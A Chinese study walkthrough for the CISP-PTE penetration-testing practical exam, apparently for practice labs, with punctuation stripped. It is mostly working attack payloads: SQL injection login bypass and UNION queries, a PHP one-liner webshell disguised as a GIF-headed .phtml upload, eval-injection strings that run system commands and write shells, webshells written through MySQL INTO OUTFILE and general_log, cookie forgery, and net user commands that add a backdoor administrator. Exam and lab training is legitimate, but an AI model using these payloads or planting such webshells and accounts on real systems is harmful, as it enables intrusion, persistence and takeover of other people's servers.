
2026 CISP-PTE 实操练习题1. SQL注入2. 文件上传3. 文件包含4. 代码执行5. 失效的访问控制6. 综合题6.1 目录扫描6.2 web管理员密码修改6.3 写马方式一into outfile写马方式二日志写马方式三后台文件上传6.4 添加管理员远程连接1. SQL注入Sql注入万能密码登录admin or 11、 OR 11、 OR 11 –登录进去随便找个编辑的地方测试字段数http://xxx/start/index.php?mpatientoeditpid1 order by15--Order by 16出错则有15个字段联合注入注意pid的参数值因为联合查询前面的查询语句会覆盖掉后面的需要让前面的查询语句查不到东西可以是-1或者00000000d1 不存在原查询返回 0 行union 合并后页面逻辑只渲染第一条没有注入数字修复用 id-1 union select 1,2,3让原查询无结果UNION 数据成为唯一返回行。http://xxx/start/index.php?mpatientoeditpid00000000 unionselect1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --修改pid使之回显使用load_file()函数读取key2. 文件上传bp抓包直接上传jpg不行加入GIF89ascript language“php”黑名单绕过三层绕过校验逻辑MIME 类型伪造Content-Type: image/png很多简易上传接口只校验请求头里的Content-Type字段看到image/png就放行完全忽略真实文件内容和后缀。文件头 GIF89a 图片头后端如果附带校验文件二进制头简单图片检测开头GIF89a会被识别为合法图片文件绕过文件内容检测。后缀使用.phtml而非.phpo 常规黑名单会拦截.php、.php5但容易漏掉.phtmlo Apache、NginxPHP-FPM 默认配置下.phtml会交给 PHP 解析执行代码GIF89ascriptlanguagephpeval($_POST[sb])/script成功上传访问http://xxxx/upload/1.phtml蚁剑连接3. 文件包含尝试直接读取文件成功读取直接读取key4. 代码执行代码审计eval(\$ostrtolower(\$a\););变量$a直接双引号拼接进eval执行字符串无过滤PHP 代码注入漏洞。 执行逻辑拆解 传入 ?axxx拼接后变成$ostrtolower(xxx);双引号内我们可控可闭合引号逃逸插入任意 PHP 代码。 漏洞逃逸原理 双引号 可以闭合原有字符串截断 strtolower(插入自定义代码再补全语法不报错。 逃逸构造思路 原模板 eval($ostrtolower(【可控a变量】);); 1. 用 闭合前面双引号2. 写入执行代码3. 用 // 或# 注释掉剩余多余语法避免语法报错Payload ?a);phpinfo();//--$ostrtolower();phpinfo();//); • 闭合前面字符串 •);闭合 strtolower()函数 • phpinfo();执行我们的代码 • // 注释掉末尾多余);消除语法错误 读取文件Payload: 文件包含?a);include(key4.php);// 获取内容打印?a);echo file_get_contents(key4.php);// 写马?a);file_put_contents(shell.php,?php eval($_POST[cmd]);?);// 如果目录可写的情况下 变形绕过?a);$fkey.4.php;include($f);// 系统命令?a);system(cat key4.php);// 这里使用系统命令payload以下两种写法都可以 不适用注释?a);system(catkey.cisp 使用注释//?a);system(cat key.cisp);// ls查看文件?a);system(ls);//cat读取key方式1?a);system(‘cat key.cisp’);//方式二?a);system(cat key.cisp方式三?a);include(key.cisp方式四?a);echo file_get_contents(key.cisp5. 失效的访问控制F12查看cookie修改以下两个值IsAdmin:trueUsername: YWRtaW4admin base64编码后为YWRtaW4通过查看UsernameR3Vlc3Q%3D可知为base46编码的修改后刷新页面或者抓包加入cookieCookie: IsAdmintrue;UsernameYWRtaW46. 综合题6.1 目录扫描发现phpmyadmin6.2 web管理员密码修改弱口令root/123456登录phpmyadmin在tupian数据库中修改system表admin密码的md5值为123456对应的MD5e10adc3949ba59abbe56e057f20f883e使用admin/123456登录管理系统6.3 写马方式一into outfile写马条件数据库DBA/root权限secure_file_priv的值不为null知道网站的根目录比如最长见的C:/phpstudy_pro/WWW、C:/XAMPP2/htdocs、其次可执行data获取数据库目录后猜测查看所需条件select user(),datadir,secure_file_privRoot权限具备这里使用的是XAMPP2搜索默认网站跟目录为C:/XAMPP2/htdocs设置secure_file_priv。set global secure_file_priv查看可回显使用into outfile写马select* from system unionselect1,2,3,?php eval($_POST[\pass\]);? into outfile C:/XAMPP2/htdocs/shellxxx.php;成功写入成功连接方式二日志写马条件general_logON, general_log’网站根目录路径’查看当前日志配置show variables like %general%;开启日志并设置日志文件路径为 Web 目录setglobal general_logON;setglobal general_log_fileC:\\XAMPP2\\htdocs\\shell621.php;日志配置已被修改执行包含恶意代码的查询select ?php eval($_POST[1122]);?;一句话被写入日志成功连接方式三后台文件上传…6.4 添加管理员远程连接使用之前蚁剑连接shell进入终端添加用户用于远程连接net user testl 1q2w3e!! /addnet localgroup administrators testl /add使用刚添加的用户连接远程桌面或者直接修改管理员密码net user administrator 1q2w3e4R